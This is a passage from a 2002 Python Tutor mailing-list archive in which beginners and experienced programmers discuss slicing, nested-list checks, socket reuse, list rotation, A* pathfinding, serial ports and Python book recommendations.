l[x:y] include the start point but not the end point? It's because operations like this work out so neatly :-) -- Remco Gerlich From scarblac@pino.selwerd.nl Thu Feb 14 07:48:38 2002 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Thu, 14 Feb 2002 08:48:38 +0100 Subject: [Tutor] Sample docstrings In-Reply-To: ; from wilson@isis.visi.com on Wed, Feb 13, 2002 at 05:59:50PM -0600 References: Message-ID: <20020214084838.B9045@pino.selwerd.nl> On 0, Tim Wilson wrote: > Hey everyone, > > Can anyone nominate some source code that I can review that does an > exemplory job of using docstrings? I'm interesting is seeing examples of > all the the different types mentioned in PEP 257 > (http://python.sourceforge.net/peps/pep-0257.html). How about the Python Standard Library? There are lots of modules in Lib/ in your Python directory, and most of them have good docstrings. -- Remco Gerlich From scarblac@pino.selwerd.nl Thu Feb 14 08:00:19 2002 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Thu, 14 Feb 2002 09:00:19 +0100 Subject: [Tutor] check for nested sequences & flatten In-Reply-To: ; from kp87@lycos.com on Thu, Feb 14, 2002 at 04:37:44PM +0900 References: Message-ID: <20020214090019.C9045@pino.selwerd.nl> On 0, kevin parks wrote: > # what's up with this ? > # > def isNested(seq): > """isNested: checks a list for nesting and if nested, exactly how deeply > > >>> isNested([1,2,3]) yeilds: 1 > >>> isNested([1, [2], [3, [4]]]) yeilds: 3""" > > seq[:] > depths = [0] > for obj in seq: > try: > depths.append(isNested(obj)) > except: > pass > return max(tuple(depths)) First, the line 'seq[:]' does nothing. Oh wait - you use it to generate an exception in case it's not possible. That makes the code more general than your flatten() function, which only checked for ListType and TupleType. But it also introduces a problem: for instance, if you feed it the string 'a', then that is a sequence with one element - 'a'! The depth of the string is infinite. If you only use it for real lists and tuples anyway, maybe it's better to check for that. Second, depths is [0], and every recursion eventually returns that zero, and the previous call appends it to its depths list; you need a +1 in there somewhere :). Thirdly, what you've written is a max_depth() function (if you add +1 to the return call). A function that only calculates is_nested() is easier: import types def is_nested(L): for item in L: is type(item) in (types.ListType, types.TupleType): return 1 return 0 From dyoo@hkn.eecs.berkeley.edu Thu Feb 14 08:01:00 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Thu, 14 Feb 2002 00:01:00 -0800 (PST) Subject: [Tutor] random floats in a range greater than 0.0-1.0 In-Reply-To: <3C6AFF47.CCB23616@shaw.ca> Message-ID: On Wed, 13 Feb 2002, Paul Sidorsky wrote: > Danny Yoo wrote: > > > I think scaling would be the way to go on this one. I can't think offhand > > of a function in the random module that will do this, but cooking up such > > a function should be too bad. > > > > This sounded like a fun problem, so I've cooked up such a function. > > random.uniform(50.0, 128.0) also works, but of course it's not nearly as > much fun. :-) Ah. *grin* Thanks for the correction. From dyoo@hkn.eecs.berkeley.edu Thu Feb 14 08:24:54 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Thu, 14 Feb 2002 00:24:54 -0800 (PST) Subject: [Tutor] check for nested sequences & flatten [functional programming/lambda] In-Reply-To: <20020214090019.C9045@pino.selwerd.nl> Message-ID: On Thu, 14 Feb 2002, Remco Gerlich wrote: > import types > > def is_nested(L): > for item in L: > is type(item) in (types.ListType, types.TupleType): > return 1 > return 0 We can pretend to be pathologically addicted to functional programming, and see what is_nested() might look like to such warped individuals. Here's a function that checks to see if a certain condition is true anywhere in the list: ### def any(condition_function, seq): """Returns 1 if any element in our sequence 'seq' responds favorably to our 'condition_function'.""" for element in seq: if condition_function(element): return 1 return 0 ### Why would anyone want to write something so weird? One reason is because any() gives us a nice way of writing certain tests over any sequence: ### >>> def isEven(x): return x % 2 == 0 ... >>> any(isEven, [1, 3, 5, 8, 9]) 1 >>> any(lambda n: not isEven(n), [2, 4, 6, 8]) 0 >>> any(lambda ch: ch in 'aeiou', 'zzzzzz') 0 >>> any(lambda ch: ch in 'aeiou', 'kazzam') 1 ### and I think that's quite neat to be able to test sequences out like that, without even having to write a loop. Once we have any(), is_nested() is a snap: ### def is_nested(L): def isList(x): return type(x) in (types.ListType, types.TupleType) return any(isList, L) ### Hope this helps! From scarblac@pino.selwerd.nl Thu Feb 14 08:42:18 2002 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Thu, 14 Feb 2002 09:42:18 +0100 Subject: [Tutor] check for nested sequences & flatten [functional programming/lambda] In-Reply-To: ; from dyoo@hkn.eecs.berkeley.edu on Thu, Feb 14, 2002 at 12:24:54AM -0800 References: <20020214090019.C9045@pino.selwerd.nl> Message-ID: <20020214094218.A9179@pino.selwerd.nl> On 0, Danny Yoo wrote: > We can pretend to be pathologically addicted to functional programming, (snip) > Here's a function that checks to see if a certain condition is true > anywhere in the list: > > ### > def any(condition_function, seq): > """Returns 1 if any element in our sequence 'seq' > responds favorably to our 'condition_function'.""" > for element in seq: > if condition_function(element): > return 1 > return 0 > ### If we're addicted, surely then this should read any = lambda condition, seq: reduce(lambda a,b: a or b, map(condition, seq)) :) (and why isn't the 'or' operator in the operator module?) (If you don't understand what that line means - that's great! Avoid that style!) -- Remco Gerlich From lep@aber.ac.uk Thu Feb 14 09:23:48 2002 From: lep@aber.ac.uk (Leighton Pritchard) Date: Thu, 14 Feb 2002 09:23:48 +0000 Subject: [Tutor] Another new book Message-ID: <5.1.0.14.0.20020214092040.023c6650@pophost.aber.ac.uk> Has anyone here read, or read an opinion about, "Python Programming Patterns" by Thomas W. Christopher, ISBN: 0130409561, published by Prentice Hall? -- Dr Leighton Pritchard AMRSC T44, Cledwyn Building Institute of Biological Sciences University of Wales, Aberystwyth, SY23 3DD Tel 01970 622353 ext. 2353 PGP public key - http://www.keyserver.net (0x47B4A485) From schoeller@zkm.de Thu Feb 14 10:49:32 2002 From: schoeller@zkm.de (=?ISO-8859-1?Q?Andreas_Sch=F6ller?=) Date: Thu, 14 Feb 2002 11:49:32 +0100 Subject: [Tutor] SocketObject.close() question In-Reply-To: <20020213141603.C910@speakeasy.net> Message-ID: <8715EC5A-2138-11D6-9828-0003937266F6@zkm.de> > You can change a socket to reuse the same address, since the=20 > socketserver > class is being used, you can maybe get the xlmrpcsvr to take a = subclass > of that. > > class ReuseSocketServer(SocketServer): > def server_bind(self): > import socket > self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) > SocketServer.server_bind(self) Thank you for this example. I had two problems with it ;-(( First i=20 tried to subclass SocketServer which "is not a base class" then I tried =20= to subclass BaseServer which is the baseclass for TCPServer which also=20= did not work. As I don=B4t want to change the source-modules , i quit = this=20 approach. But while looking in the source I found a class-attribute=20 named 'allow_reuse_address' which defaults to 0 ( python 2.1 & 2.2=20 opposed to the docs, who is to be told to change this ? ). After I=20 recovered from my first euphoria i changed my script : port =3D 9000 server =3D SocketServer.TCPServer(('', port), RequestHandler) server.allow_reuse_address =3D 1 server.serve_forever() which also, did not work, because the attribute-setting comes too late.=20= I ended up with changing the default in the module, with one question=20 remaining : How can one use this setting without subclassing ? > Also, you might want to think about using the shutdown() method = instead > of just close(). This will allow the network protocols to come down > gracefully, and will reduce the number of "already in use" errors (not > not all of them). There is nothing strictly wrong with using close, = but > you will want to make sure that the socket isn't connected by some=20 > means. > shutdown(2) is what i wanted, thanks.. > Think about a telephone: it is possible, though unprobable, that = someone > could call at the same time you pick up the handset to make a call. > This causes the phone to not ring, and the connection to go through; > you start dialing the number and the other end is going "hello". > This happens in real, but it's rare. Now think about if it was at the > other end of the call - someone was calling when you were hanging up, > the connection might be established, your phone would think the call = was > done, but possibly the hardware in between left the connection open. > > The phone systems do not allow this "feature", but the TCP networks = do. > It's better to just use "shutdown" to let the whole system know you = are > shutting down. From karthikg@aztec.soft.net Thu Feb 14 11:31:21 2002 From: karthikg@aztec.soft.net (Karthik Gurumurthy) Date: Thu, 14 Feb 2002 17:01:21 +0530 Subject: [Tutor] Another new book In-Reply-To: <5.1.0.14.0.20020214092040.023c6650@pophost.aber.ac.uk> Message-ID: search for that in the python-list (active state has a searcheable archive). I remeber people discussing that. karthik -----Original Message----- From: tutor-admin@python.org [mailto:tutor-admin@python.org]On Behalf Of Leighton Pritchard Sent: Thursday, February 14, 2002 2:54 PM To: tutor@python.org Subject: [Tutor] Another new book Has anyone here read, or read an opinion about, "Python Programming Patterns" by Thomas W. Christopher, ISBN: 0130409561, published by Prentice Hall? From karthikg@aztec.soft.net Thu Feb 14 11:48:01 2002 From: karthikg@aztec.soft.net (Karthik Gurumurthy) Date: Thu, 14 Feb 2002 17:18:01 +0530 Subject: [Tutor] Another new book In-Reply-To: <5.1.0.14.0.20020214092040.023c6650@pophost.aber.ac.uk> Message-ID: > Has anyone here read, or read an opinion about, "Python Programming > Patterns" by Thomas W. Christopher, ISBN: 0130409561, published by Prentice > Hall? BTW, I checked that out in the stores sometime back. i c'd see references to patterns only in chapter 5..rest looked like a tutorial on python. and probably that's not we are lookign for. I hope Python Cookbook / Python in a nutshell would turn out to good books. I have been asked to use perl @ my work place...something i don't want to. I'm currently reading Object Oriented Perl ..by Damian Conway. I wish someone writes such a book for Python too :-(. It's that good!. I understand that Python is OO by design but a book on programming patterns having a single chapter on patterns surprised me. i had a question here though..are all patterns suggested (say in GOF) for a statically typed language like java applicable to a dynamically typed language like python? karthik. From karthikg@aztec.soft.net Thu Feb 14 12:47:55 2002 From: karthikg@aztec.soft.net (Karthik Gurumurthy) Date: Thu, 14 Feb 2002 18:17:55 +0530 Subject: [Tutor] Python practices In-Reply-To: <8715EC5A-2138-11D6-9828-0003937266F6@zkm.de> Message-ID: Can someone point me to the URL which describes the Python practices: for eg: I checked out python idioms (@ python.org). Did'nt have the kind of information i was looking for. something along these lines... if name == 'x or name == 'y': s'd be written as if name in ['x','y']: thanks, karthik. From ajaya@ncoretech.com Thu Feb 14 13:09:01 2002 From: ajaya@ncoretech.com (Ajaya Babu) Date: Thu, 14 Feb 2002 18:39:01 +0530 Subject: [Tutor] (no subject) Message-ID: <000101c1b558$c5cfbd40$6501a8c0@ncoretech.com> Hi, I want to access my serail port using python. I am using linux machine. please suggest some reading on it. Thanks and Regards, Ajaya From pythontutor@venix.com Thu Feb 14 13:40:38 2002 From: pythontutor@venix.com (Lloyd Kvam) Date: Thu, 14 Feb 2002 08:40:38 -0500 Subject: [Tutor] Another new book References: <5.1.0.14.0.20020214092040.023c6650@pophost.aber.ac.uk> Message-ID: <3C6BBE56.7040007@venix.com> I bought the book. It is really a "learn to program using python" type of book. However, the examples and approach are geared for people with programming experience. The title is very misleading. Many of the examples in later chapters do refer back to the pattern chapter, but it is not really a book on patterns. I have used it as a reference to look up a specific aspect of Python programming (e.g. module organization or overriding __getattr__) and found the book to be lucid and helpful. Many of the sample code snippets are very well thought out. They are NOT simply rote translations of Java syntax into Python. Bottom line: I like the book. I think Wesley Chun's book is a better choice for novices. Leighton Pritchard wrote: > Has anyone here read, or read an opinion about, "Python Programming > Patterns" by Thomas W. Christopher, ISBN: 0130409561, published by > Prentice Hall? > > -- Lloyd Kvam Venix Corp. 1 Court Street, Suite 378 Lebanon, NH 03766-1358 voice: 603-443-6155 fax: 801-459-9582 From alan.gauld@bt.com Thu Feb 14 14:34:12 2002 From: alan.gauld@bt.com (alan.gauld@bt.com) Date: Thu, 14 Feb 2002 14:34:12 -0000 Subject: [Tutor] cyclically rotate a list. Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C368@mbtlipnt02.btlabs.bt.co.uk> > How does one cyclically rotate a list (of arbitary size) > so that given a list x= [0, 1, 2, 3, 4, 5, 6] one could say: > rotate(x, y=0) -->[0, 1, 2, 3, 4, 5, 6] > rotate(x, y=1) -->[1, 2, 3, 4, 5, 6, 0] Warning: untested pseudo code: def rotate (aList, steps=1): for i in range(steps): first = aList[0] aList = aList[1:] aList.append(first) return aList Or somthing similar? Alan g. From alan.gauld@bt.com Thu Feb 14 14:39:57 2002 From: alan.gauld@bt.com (alan.gauld@bt.com) Date: Thu, 14 Feb 2002 14:39:57 -0000 Subject: [Tutor] cyclically rotate a list. Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C369@mbtlipnt02.btlabs.bt.co.uk> > From: Remco Gerlich [mailto:scarblac@pino.selwerd.nl] > def rotate(x, y=1): > return x[y:] + x[:y] Oooh, I like it Remco! Much nicer than my loop. Alan g. From kp87@lycos.com Thu Feb 14 14:45:23 2002 From: kp87@lycos.com (kevin parks) Date: Thu, 14 Feb 2002 23:45:23 +0900 Subject: [Tutor] Re: check for nested sequences & flatten Message-ID: >Thirdly, what you've written is a max_depth() function (if you add +1 to the >return call). That was what i was aiming for in another program. it's a bit more all purpose that way, but for this i really am only concerned with whether it is flat or nested. >A function that only calculates is_nested() is easier: > >import types > >def is_nested(L): > for item in L: > is type(item) in (types.ListType, types.TupleType): > return 1 > return 0 I copied this and the interpreter barfed. It said sytax error and pointed at the is type(item) in (types.ListType, types.TupleType): line. Anyone see this syntax error, i can't. It looks ok to me -kevin Love is in the Air! Check out Cupid School where you will learn from Matchmaker's best and brightest. At Cupid School you'll learn how to pair up hopeful romantics with one another, based on their personal preferences. If you do well- you'll be rewarded with your own set of love bow and arrows! Good Luck! http://ecard.matchmaker.com/cupid0202/cupid0202.html From scarblac@pino.selwerd.nl Thu Feb 14 14:48:23 2002 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Thu, 14 Feb 2002 15:48:23 +0100 Subject: [Tutor] Re: check for nested sequences & flatten In-Reply-To: ; from kp87@lycos.com on Thu, Feb 14, 2002 at 11:45:23PM +0900 References: Message-ID: <20020214154822.A9755@pino.selwerd.nl> On 0, kevin parks wrote: > > is type(item) in (types.ListType, types.TupleType): > > > I copied this and the interpreter barfed. It said sytax error and pointed at the is type(item) in (types.ListType, types.TupleType): > line. Anyone see this syntax error, i can't. It looks ok to me I made a typo. It should be 'if', not 'is'. -- Remco Gerlich From alan.gauld@bt.com Thu Feb 14 14:51:21 2002 From: alan.gauld@bt.com (alan.gauld@bt.com) Date: Thu, 14 Feb 2002 14:51:21 -0000 Subject: [Tutor] Another new book Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C36A@mbtlipnt02.btlabs.bt.co.uk> > i had a question here though..are all patterns suggested (say > in GOF) for a statically typed language like java applicable > to a dynamically typed language like python? Two comments: 1) The GoF book is not about Java, it's primarily written about Smalltalk which is dynamically typed like Python. Almost all the GoF used Smalltalk at the time they wrote the original patterns book - one of the reasons all the patterns are single inheritance based. 2) Not all patterns for statically typed languages are applicable to dynamically typed languages and, more significantly, vice versa! Dynamic patterns that don't work for statically typed are far more common than the other way around IMHO... (Statically typed languages rely on inheritance for polymorphism which seriously restricts the opportunities available.) Alan g. From cmccormick@thestate.com Thu Feb 14 15:35:42 2002 From: cmccormick@thestate.com (Chris McCormick) Date: Thu, 14 Feb 2002 10:35:42 -0500 Subject: [Tutor] Has anyone done an A* algorithm in Python? Message-ID: Hello all, I am relatively new to Python, and have been using Python/SDL/pyGame to create a simple roleplaying application. I want my NPC's to navigate around obstacles, and I have found some resources on the A* algorithm. Unfortunately, the C code is pretty unintelligible to me. Has anyone done something similar in a Python project? Seeing some code, or even pseudocode, would be a great help. Thanks in advance, Chris McCormick From rkashyap@sympatico.ca Thu Feb 14 17:07:16 2002 From: rkashyap@sympatico.ca (Ramkumar Kashyap) Date: Thu, 14 Feb 2002 12:07:16 -0500 Subject: [Tutor] List for Zope beginners Message-ID: <3C6BEEC4.4080301@sympatico.ca> Hi, Is there a list for Zope beginners. I have downloaded Zope and am going through the e.g. and was wondering if there was a similar list. regards, Ramkumar From wesc@deirdre.org Thu Feb 14 17:17:32 2002 From: wesc@deirdre.org (Wesley Chun) Date: Thu, 14 Feb 2002 09:17:32 -0800 (PST) Subject: [Tutor] Another new book In-Reply-To: <5.1.0.14.0.20020214092040.023c6650@pophost.aber.ac.uk> Message-ID: On Thu, 14 Feb 2002, Leighton Pritchard wrote: > Has anyone here read, or read an opinion about, "Python Programming > Patterns" by Thomas W. Christopher, ISBN: 0130409561, published by Prenti= ce > Hall? i got this book somehow thinking it was going to be along a similar line to "Design Patterns" and like some others have said, the title is deceiving. it does go thru teaching you thing about Python, but from my 1st impression and the Amazon reviews, i think the biggest flaw is its title. just my $0.02. hope this helps! -wesley - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - "Core Python Programming", Prentice Hall PTR, =A9 2001 http://starship.python.net/crew/wesc/cpp/ wesley.j.chun :: wesc@deirdre.org cyberweb.consulting : henderson, nv : cyberweb@rocketmail.com http://www.roadkill.com/~wesc/cyberweb/ From kp87@lycos.com Thu Feb 14 16:01:13 2002 From: kp87@lycos.com (kevin parks) Date: Fri, 15 Feb 2002 01:01:13 +0900 Subject: [Tutor] Help with silly algorhythm Message-ID: I have been wanting to ask this one for a while, but it is a bit tricky to articulate so I will try my best. What I want to do is generate a new list of items based on another list and a some criteria (list of accepable values, for example). So, i might have: * list of input values =[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11] * a list of acceptable new 'partner values' = [1, 3, 7, 10] and I want a new list made up of the closest member of a list (modulo the number of list members: here 12 (0-11) of acceptable values in 4 different ways [upper, lower, or alternating (starting higher, starting lower)] All with the further stipulation that values from the input list do not team with values in the "buddy" list if they are the same, so input 1 would not go with 1 from list 2, but with 3 (the next value up), or 10 (next value down). vague i know, i am trying my best... so we might get (in mode 1: all closest higher value) [ [0, 1], [1, 3], [2, 3], [3, 7], [4, 7], [5, 7], [6, 7], [7, 11].... -or- [1, 3, 3, 7, 7, 7, 7, 11.....] mode 2 (all closest value down) might be: [[0,10], [1, 10], [2, 1], [3, 1], [4, 3], [5,3], [6,3], [7,3], [8, 7].... mode 3 [ [0, 1], [1, 10], [2, 3], [3, 1]..... etc. So problem number one for me is how do i figure out which value is 'closest' (up or down), do i have to test it against each value of the list or is there a smarter way. I realize that this is very odd and convoluted. If it is too stupid a question please feel free to snub it. I know i have asked a lot of this list lately and have recieved some very helpful responses. I am trying to get as much Python in as possible before the holiday is over. -kp-- meanwhile i am pouring over the last few tutor digests... Love is in the Air! Check out Cupid School where you will learn from Matchmaker's best and brightest. At Cupid School you'll learn how to pair up hopeful romantics with one another, based on their personal preferences. If you do well- you'll be rewarded with your own set of love bow and arrows! Good Luck! http://ecard.matchmaker.com/cupid0202/cupid0202.html From lkvam@venix.com Thu Feb 14 17:05:58 2002 From: lkvam@venix.com (Lloyd Kvam) Date: Thu, 14 Feb 2002 12:05:58 -0500 Subject: [Tutor] (no subject) References: <000101c1b558$c5cfbd40$6501a8c0@ncoretech.com> Message-ID: <3C6BEE76.4070809@venix.com> http://pyserial.sourceforge.net/ pySerial I have no experience with this module. It was newly announced on: http://www.pythonware.com/daily/index.htm Daily Python-URL Ajaya Babu wrote: > Hi, > > I want to access my serail port using python. I am using linux machine. > please suggest some reading on it. > > Thanks and Regards, > Ajaya > > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor > > -- Lloyd Kvam Venix Corp. 1 Court Street, Suite 378 Lebanon, NH 03766-1358 voice: 603-443-6155 fax: 801-459-9582 From dyoo@hkn.eecs.berkeley.edu Thu Feb 14 18:11:12 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Thu, 14 Feb 2002 10:11:12 -0800 (PST) Subject: [Tutor] Another new book In-Reply-To: Message-ID: On Thu, 14 Feb 2002, Wesley Chun wrote: > > On Thu, 14 Feb 2002, Leighton Pritchard wrote: > > > Has anyone here read, or read an opinion about, "Python Programming > > Patterns" by Thomas W. Christopher, ISBN: 0130409561, published by Prentice > > Hall? > > > i got this book somehow thinking it was going to be along a similar line > to "Design Patterns" and like some others have said, the title is > deceiving. it does go thru teaching you thing about Python, but from my > 1st impression and the Amazon reviews, i think the biggest flaw is its > title. just my $0.02. I know that Bruce Eckel is planning to write a book about Python design patterns: http://www.mindview.net/Books/TIPython Perhaps this may be useful for people who want to play with Design Pattern stuff; I still haven't had time to read the GoF yet! *sigh* From jeff@ccvcorp.com Thu Feb 14 18:25:14 2002 From: jeff@ccvcorp.com (Jeff Shannon) Date: Thu, 14 Feb 2002 10:25:14 -0800 Subject: [Tutor] Serial Port References: Message-ID: <3C6C010A.B5BB9F66@ccvcorp.com> > "Ajaya Babu" wrote: > > I want to access my serail port using python. I am using linux machine. > please suggest some reading on it. There was a recent announcement in comp.lang.python about this... you might try this package: http://pyserial.sourceforge.net/ That should work regardless of platform. Jeff Shannon Technician/Programmer Credit International From dyoo@hkn.eecs.berkeley.edu Thu Feb 14 18:17:54 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Thu, 14 Feb 2002 10:17:54 -0800 (PST) Subject: [Tutor] Re: [pygame] Does anyone have a python implementation of A*? (fwd) Message-ID: ---------- Forwarded message ---------- Date: Thu, 14 Feb 2002 09:59:32 -0800 (PST) From: Danny Yoo To: pygame-users@seul.org Subject: Re: [pygame] Does anyone have a python implementation of A*? On Thu, 14 Feb 2002, Chris McCormick wrote: > Hello all, > I am working on a pretty simple little game, which is sort of a > cross between an RPG and a world simulation. I want my NPC's to > navigate around obstacles, and I have found some web resources on the > A* algorithm. Unfortunately, the C code is pretty unintelligible to > me. Has anyone done something similar in a Python project? Seeing > some code, or even pseudocode, would be a great help. Here you go: http://hkn.eecs.berkeley.edu/~dyoo/python/ Go down near the bottom, and you should see something about A*. Hope this helps! From wolf_binary@hotmail.com Thu Feb 14 18:36:00 2002 From: wolf_binary@hotmail.com (Cameron Stoner) Date: Thu, 14 Feb 2002 12:36:00 -0600 Subject: [Tutor] Software Design and crackers Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_000D_01C1B554.28656AE0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi all, Where can I go to find out about software desing? A book something. I = want to find a down to earth kind of help. I have one other question to = ask and that is about how to keep crackers at bay? Where can I start to = learn about internet security. Thanks for any help Cameron ------=_NextPart_000_000D_01C1B554.28656AE0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi all,
 
Where can I go to find out about = software=20 desing?  A book something.  I want to find a down to earth = kind of=20 help.  I have one other question to ask and that is about how to = keep=20 crackers at bay?  Where can I start to learn about internet=20 security.
 
Thanks for any help
 
Cameron
------=_NextPart_000_000D_01C1B554.28656AE0-- From dyoo@hkn.eecs.berkeley.edu Thu Feb 14 18:35:21 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Thu, 14 Feb 2002 10:35:21 -0800 (PST) Subject: [Tutor] check for nested sequences & flatten [and/or special forms] In-Reply-To: <20020214094218.A9179@pino.selwerd.nl> Message-ID: On Thu, 14 Feb 2002, Remco Gerlich wrote: > > Here's a function that checks to see if a certain condition is true > > anywhere in the list: > > > > ### > > def any(condition_function, seq): > > """Returns 1 if any element in our sequence 'seq' > > responds favorably to our 'condition_function'.""" > > for element in seq: > > if condition_function(element): > > return 1 > > return 0 > > ### > > If we're addicted, surely then this should read > > any = lambda condition, seq: reduce(lambda a,b: a or b, map(condition, seq)) > > :) Noooooo! *grin* Ok, I'm chastised. > (and why isn't the 'or' operator in the operator module?) Ah! This is a tricky one: 'or' and 'and' behave in a particularly special way. Let's say that we try defining our own version of 'and' as a function: ### >>> def myand(a, b): return a and b ... ### In many cases, it will appear to do the right thing... but what about something like this? ### >>> 0 and 1/0 0 >>> myand(0, 1/0) Traceback (most recent call last): File "", line 1, in ? ZeroDivisionError: integer division or modulo by zero ### What's particularly special about 'and' and 'or' is that they automagically short-circuit --- when we do something like: 0 and y Python doesn't even need to look at 'y', since it knows that it's just useless to proceed. By the same short-circuiting logic: 1 or y just doesn't even try to evaluate y, since it sees a true value. The reason that 'myand(0, 1/0)' breaks is because, when we do function calls, Python needs to know what all the argument values are, so 'myand' doesn't have the ability to short-circuit. This is probably why they're not in the operator module, because there's no mechanism available for them to work as functions. Hope that made some sort of sense! From dyoo@hkn.eecs.berkeley.edu Thu Feb 14 21:45:38 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Thu, 14 Feb 2002 13:45:38 -0800 (PST) Subject: [Tutor] List for Zope beginners In-Reply-To: <3C6BEEC4.4080301@sympatico.ca> Message-ID: On Thu, 14 Feb 2002, Ramkumar Kashyap wrote: > Is there a list for Zope beginners. I have downloaded Zope and am > going through the e.g. and was wondering if there was a similar list. Hmmm... you may want to try the ZopeZen and ZopeNewbies people: http://www.zopezen.org/ http://zopenewbies.net/ I haven't been able to find a mailing list, but that might just mean that I'm not looking hard enough... Try asking on zopezen.org, and people there may be able to point you toward good resources for new Zopistas. If you find that mailing list, tell us so that we can better respond to this question next time. Good luck to you! From dsh8290@rit.edu Thu Feb 14 22:13:33 2002 From: dsh8290@rit.edu (dman) Date: Thu, 14 Feb 2002 17:13:33 -0500 Subject: [Tutor] Serial Port In-Reply-To: <3C6C010A.B5BB9F66@ccvcorp.com> References: <3C6C010A.B5BB9F66@ccvcorp.com> Message-ID: <20020214221333.GA5873@dman.ddts.net> On Thu, Feb 14, 2002 at 10:25:14AM -0800, Jeff Shannon wrote: | > "Ajaya Babu" wrote: I seem to be missing message(s). Anyways ... | > I want to access my serail port using python. I am using linux | > machine. please suggest some reading on it. The first serial port will be /dev/ttyS0. Call open with that path as the first argument, then read/write as you wish. I don't know how to set the various properties (ie speed, etc) apart from running 'setserial' as root. One of the beauties of unix systems is that devices "are" files. You interact with the device by opening a file and reading from it and writing to it. (the same goes for the parallel port, the mouse, the sound card, etc) -D -- A violent man entices his neighbor and leads him down a path that is not good. Proverbs 16:29 From dsh8290@rit.edu Thu Feb 14 22:22:57 2002 From: dsh8290@rit.edu (dman) Date: Thu, 14 Feb 2002 17:22:57 -0500 Subject: [Tutor] Software Design and crackers In-Reply-To: References: Message-ID: <20020214222257.GB5873@dman.ddts.net> On Thu, Feb 14, 2002 at 12:36:00PM -0600, Cameron Stoner wrote: | Hi all, | | Where can I go to find out about software desing? A book something. "Design Patterns" by the Gang of Four is one good book (uses C++ and Smalltalk for example code) | I want to find a down to earth kind of help. I've started reading "The Practice of Programming" by Kernighan and Pike. I didn't get very far yet, though, but it seems to be a good book. (uses Java and C for example code) | I have one other question to ask and that is about how to keep | crackers at bay? Mmm, this is tough. What do you want to stop them from doing? Making illegal copies of your software? Using illegal copies? Cheating? This article is quite interesting and related : http://www.tuxedo.org/~esr/writings/quake-cheats.html | Where can I start to learn about internet security. What part of the Internet? FTP and telnet and HTTP are not secure -- passwords are sent plain text. Supposedly HTTPS is, but who knows for sure. ssh1 is claimed to be crackable (with enough computing power and time), but ssh2 isn't. sendmail and wu-ftpd are well known for a rather high number of exploits found. BIND on RH 6.2 and 7.0 is remotely exploitable ("ramen worm"). There's also the arena of (D)DoS attacks. Some places to gather information are www.incidents.org and www.insecure.org. HTH, -D -- Commit to the Lord whatever you do, and your plans will succeed. Proverbs 16:3 From kalle@gnupung.net Thu Feb 14 22:43:10 2002 From: kalle@gnupung.net (Kalle Svensson) Date: Thu, 14 Feb 2002 23:43:10 +0100 Subject: [Tutor] Has anyone done an A* algorithm in Python? In-Reply-To: References: Message-ID: <20020214224310.GB21460@sandra.lysator.liu.se> [Chris McCormick] > I am relatively new to Python, and have been using Python/SDL/pyGame > to create a simple roleplaying application. I want my NPC's to > navigate around obstacles, and I have found some resources on the A* > algorithm. Unfortunately, the C code is pretty unintelligible to > me. Has anyone done something similar in a Python project? Seeing > some code, or even pseudocode, would be a great help. There is some A* code in Civil (http://civil.sf.net/), I think. Or maybe it was on the civil-devel mailing list. This thread might be helpful, for example: http://sourceforge.net/mailarchive/forum.php?thread_id=367809&forum_id=6777 Peace, Kalle -- Kalle Svensson (kalle@gnupung.net) - Laziness, impatience, hubris: Pick two! English: http://www.gnupung.net/ Svenska: http://www.lysator.liu.se/~kalle/ Stuff: ["http://www.%s.org/" % x for x in "gnu debian python emacs".split()] From kp87@lycos.com Fri Feb 15 05:28:02 2002 From: kp87@lycos.com (kevin parks) Date: Fri, 15 Feb 2002 14:28:02 +0900 Subject: [Tutor] Re: Another new book Message-ID: >I think Wesley Chun's book is a better choice for novices. I like it too. The ora 'Learning Python' book is good too, even though it is out of date. It has that nice binding and is easier on the back than Wesley Chun's book, but the Wesley Chun book is very complete and up to date and includes lots of interesting special topics and like the ora book it has nice discussions of OOP, with good diagrams. Though (not a slam on Mr. Chun, by any means) the Core Python book does have lots of weird typos. I am not sure that it extends to the code though as the code i have copied from the book has all run, but the text itself has some oddly edited passages. >>Has anyone here read, or read an opinion about, "Python Programming Patterns" That is a lot of alliteration. Poor Pitiful Pythonites have Plenty of Programming Publications to Pick over. Q: Why do computer geeks and Programming Publishing Production Poopy-heads love alliteration so much? -kp-- I suppose if the book really is about programming patterns in python there isn't much one could do. Check out Cupid School where you will learn from Matchmaker's best and brightest. Good Luck! http://ecard.matchmaker.com/cupid0202/cupid0202.html From kp87@lycos.com Fri Feb 15 05:31:45 2002 From: kp87@lycos.com (kevin parks) Date: Fri, 15 Feb 2002 14:31:45 +0900 Subject: Subject: Re: [Tutor] Re: check for nested sequences & flatten Message-ID: Oops! I didn't even notice that. Looked right past it thinking it was somehow something more complicated than that! embarrasing! Sorry! It works great. Thanks for the help. -kevin -- >> > is type(item) in (types.ListType, types.TupleType): >> >> I copied this and the interpreter barfed. It said sytax error and pointed at the is type(item) in (types.ListType, types.TupleType): >> line. Anyone see this syntax error, i can't. It looks ok to me > >I made a typo. It should be 'if', not 'is'. Check out Cupid School where you will learn from Matchmaker's best and brightest. Good Luck! http://ecard.matchmaker.com/cupid0202/cupid0202.html From karthikg@aztec.soft.net Fri Feb 15 06:18:39 2002 From: karthikg@aztec.soft.net (Karthik Gurumurthy) Date: Fri, 15 Feb 2002 11:48:39 +0530 Subject: [Tutor] Another new book In-Reply-To: 